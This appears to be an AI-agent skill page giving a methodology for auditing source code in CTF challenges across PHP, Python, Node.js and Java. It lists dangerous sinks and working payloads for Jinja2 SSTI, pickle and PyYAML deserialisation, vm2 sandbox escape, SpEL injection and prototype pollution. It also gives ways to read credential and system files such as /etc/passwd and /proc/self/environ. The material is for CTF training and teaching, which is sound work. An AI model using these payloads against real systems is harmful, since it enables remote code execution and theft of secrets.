SuperAPI AI Directory

ctf-source-audit

Security & auditing

View repository

Updated 10-16 04:47

About this skill

CTF source code audit methodology

CTF source code audit ≠ real code audit. Differences:

  • Real audit: tens of thousands of lines of code, vulnerabilities can be anywhere
  • CTF audit:Dozens to hundreds of lines of code, vulnerabilities are intentionally placed and usually obvious

Core strategy:Find dangerous functions(sink), then trace the path from the input (source) to the dangerous function.

⛔ In-depth reference (required reading)

Phase 1: Quickly identify language and framework

Characteristics Language/Framework
.php files,<?php PHP
app.py、from flask、import django Python (Flask/Django)
package.json、require()、app.js Node.js (Express)
pom.xml、.java、@Controller Java (Spring)
go.mod、func main() Go

Phase 2: Audit process

2.1 Quickly locate dangerous functions

Language Command execution Deserialization Template injection File operations
PHP system() eval() exec() passthru() unserialize() N/A include() file_get_contents()
Python os.system() eval() exec() subprocess pickle.loads() yaml.load() render_template_string() open()
Node.js child_process.exec() eval() N/A EJS/Pug inject fs.readFile()
Java Runtime.exec() ProcessBuilder ObjectInputStream SpEL/FreeMarker FileInputStream

→ Complete list of dangerous functions → references/dangerous-functions.md

2.2 Trace data flow (sink → source)

  1. Where does the parameter come from? — $_GET, request.args, req.body, @RequestParam
  2. Is there any filtering? — search filter, sanitize, escape, replace, blacklist
  3. Can the filtering be bypassed? — In CTFs there is usually a bypass (blacklist omission, double encoding, case, array bypass)

2.3 Audit output

  1. Vulnerability type and location (filename + line number)
  2. Exploitation method (what request to construct to trigger it)
  3. Flag retrieval path

Phase 3: Common PHP vulnerability patterns

Loose comparison (== vs ===)

// 0e 开头的字符串在 == 比较时被当作科学计数法,等于 0
if ($_GET['password'] == '0e123456') { ... }  // 输入 "0" → true
if (md5($a) == md5($b)) { ... }  // 找两个 md5 以 0e 开头的值

// 0e MD5 碰撞值:
// md5("240610708")  = 0e462097431906509019562988736854
// md5("QNKCDZO")    = 0e830400451993494058024219903391
// md5("s878926199a") = 0e545993274517709034328855841020

// 数组绕过 ===
if ($a != $b && md5($a) === md5($b)) { ... }
// md5(array) 返回 NULL → a[]=1&b[]=2

Variable overwrite

extract($_GET);  // GET 参数覆盖任意变量
parse_str($str); // 解析字符串为变量(无第二个参数时)
$$key = $value;  // 可变变量

// 利用:?admin=1 覆盖 $admin 变量

PHP type juggling

// intval() 截断
intval("123abc") === 123  // 非数字部分被忽略
intval("0x1A") === 0      // PHP 7 不解析 hex(PHP 5 可以)

// is_numeric() 绕过
is_numeric("0x539") → true (PHP 5)
is_numeric("1e5") → true   // 科学计数法

// in_array() 松散比较
in_array(0, ['a','b','c']) → true  // 0 == 'a' 在松散比较中为 true(PHP 7 以下)
// 修复:in_array(0, ['a','b','c'], true) 第三个参数=strict

preg_replace /e (PHP < 7.0)

preg_replace('/.*/e', 'system("id")', '');  // /e 修饰符执行替换结果

Deserialization POP chain

Search for __wakeup(), __destruct(), __toString() magic methods to construct chained calls.

// __wakeup 绕过:序列化字符串中属性个数大于实际值
O:4:"User":3:{...}  // 实际只有 2 个属性,写 3 → 跳过 __wakeup
// 适用 PHP 5.x - 7.0.10

Phase 4: Common Python vulnerability patterns

Flask Session forgery

# 如果知道 SECRET_KEY,可以伪造 Flask session
# 工具:flask-unsign
flask-unsign --decode --cookie 'SESSION_COOKIE'
flask-unsign --sign --cookie "{'user':'admin'}" --secret 'SECRET_KEY'

# SECRET_KEY 泄露路径:
# - 源码中硬编码
# - /proc/self/environ 中的环境变量
# - config.py / .env 文件

Werkzeug Debug PIN calculation

# 当 Flask DEBUG=True 时,/console 需要 PIN
# PIN 计算因素(全部可通过 LFI 获取):
# 1. username: /etc/passwd 中运行 Flask 的用户
# 2. modname: 通常是 "flask.app"
# 3. appname: 通常是 "Flask"
# 4. modpath: flask/app.py 的路径 → /proc/self/cmdline + find
# 5. MAC 地址: /sys/class/net/eth0/address → 转十进制
# 6. machine-id: /etc/machine-id + /proc/self/cgroup (Docker)

# 计算脚本见 ctf-web-methodology 的 server-side-advanced.md

SSTI (Jinja2)

render_template_string(user_input)  # 危险!
# 检测:{{7*7}} → 49
# RCE:{{lipsum.__globals__.__builtins__.__import__('os').popen('id').read()}}

Pickle deserialization RCE

import pickle, base64, os

class Exploit:
    def __reduce__(self):
        return (os.system, ('cat /flag.txt',))

payload = base64.b64encode(pickle.dumps(Exploit())).decode()

PyYAML unsafe loading

yaml.load(data)  # 不安全!需要 yaml.safe_load()
# payload: !!python/object/apply:os.system ['cat /flag.txt']

Phase 5: Common Node.js vulnerability patterns

Prototype chain pollution

// 危险函数:Object.assign(), _.merge(), _.set(), 递归合并
// payload: {"__proto__":{"isAdmin":true}}
// 或: {"constructor":{"prototype":{"isAdmin":true}}}

// 利用场景:
// 1. 修改 Object.prototype 影响全局
// 2. 覆盖已有属性(role: admin)
// 3. RCE:污染 child_process 的 env/shell

require() path traversal

// 如果用户控制 require() 参数
require('../../../etc/passwd');  // 虽然不执行但可泄露错误信息
require('/proc/self/environ');

eval() / vm escape

// vm2 沙箱逃逸(多个 CVE)
const {VM} = require("vm2");
const vm = new VM();
vm.run('this.constructor.constructor("return process")().mainModule.require("child_process").execSync("id").toString()');

Phase 6: Common Java vulnerability patterns

SpEL injection (Spring)

// 如果用户输入被嵌入 SpEL 表达式
// 检测:${7*7} → 49 或 #{7*7} → 49
// RCE:
#{T(java.lang.Runtime).getRuntime().exec("id")}

XXE (Java XML parsing)

Java's XML parsers do not disable external entities by default (this requires manual configuration), making it a high-incidence area for XXE.

Deserialization (ObjectInputStream)

Search ObjectInputStream.readObject() → generate payloads with ysoserial.

Notes

  • CTF source code is usually very short (<200 lines), so do not use complex tools; manual auditing is sufficient
  • Prioritize searching for flag、secret、admin keywords
  • Pay attention to hints in comments (CTF authors sometimes leave clues)
  • Multi-file projects: look at routing first (app.py / index.php / app.js), then the controller logic